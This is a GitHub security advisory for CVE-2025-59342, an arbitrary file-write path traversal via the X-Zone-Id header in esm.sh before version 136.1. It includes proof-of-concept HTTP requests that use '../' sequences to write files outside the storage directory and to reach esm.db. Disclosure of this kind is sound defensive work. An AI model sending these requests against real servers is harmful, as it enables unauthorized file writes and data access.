GitHub Advisoryadvisory · Go
GHSA-g2h5-cvvr-7gmw esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header
MEDIUM
Official page ↗
- Aliases
- CVE-2025-59342
- Ecosystem
- Go
- Packages
- github.com/esm-dev/esm.sh
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-24
- Reviewed
- 2025-09-17
Affected packages
• Go github.com/esm-dev/esm.sh: < 136.1 → fixed in 136.1
Description
Summary
A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform//` instead of `~/.esmd/storage/modules/transform`).
Severity: Medium
Component / Endpoint:
`POST /transform` — handling of `X-Zone-Id` header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
---
Proof of Concept (POC)
Request (attacker-supplied `X-Zone-Id` contains path traversal):
```
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}
```
Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.
This can be trigger with another path traversal request below
```
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
```
---
Remediation
Simply remove any .. in the `X-Zone-Id` header before actually process the file.
Credits
• Ai Ho (Jessie)
• CL Yang
Related
Alias · CVE (1)
- CVE-2025-59342 esm.sh is a nobuild content delivery network(CDN) for modern web development. vulnerability
Weakness · CWE (1)
- CWE-24 Path Traversal: '../filedir' weakness
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw web
- https://nvd.nist.gov/vuln/detail/CVE-2025-59342 advisory
- https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151 web
- https://github.com/esm-dev/esm.sh package
- https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 web
- https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 web
- https://pkg.go.dev/vuln/GO-2025-3967 web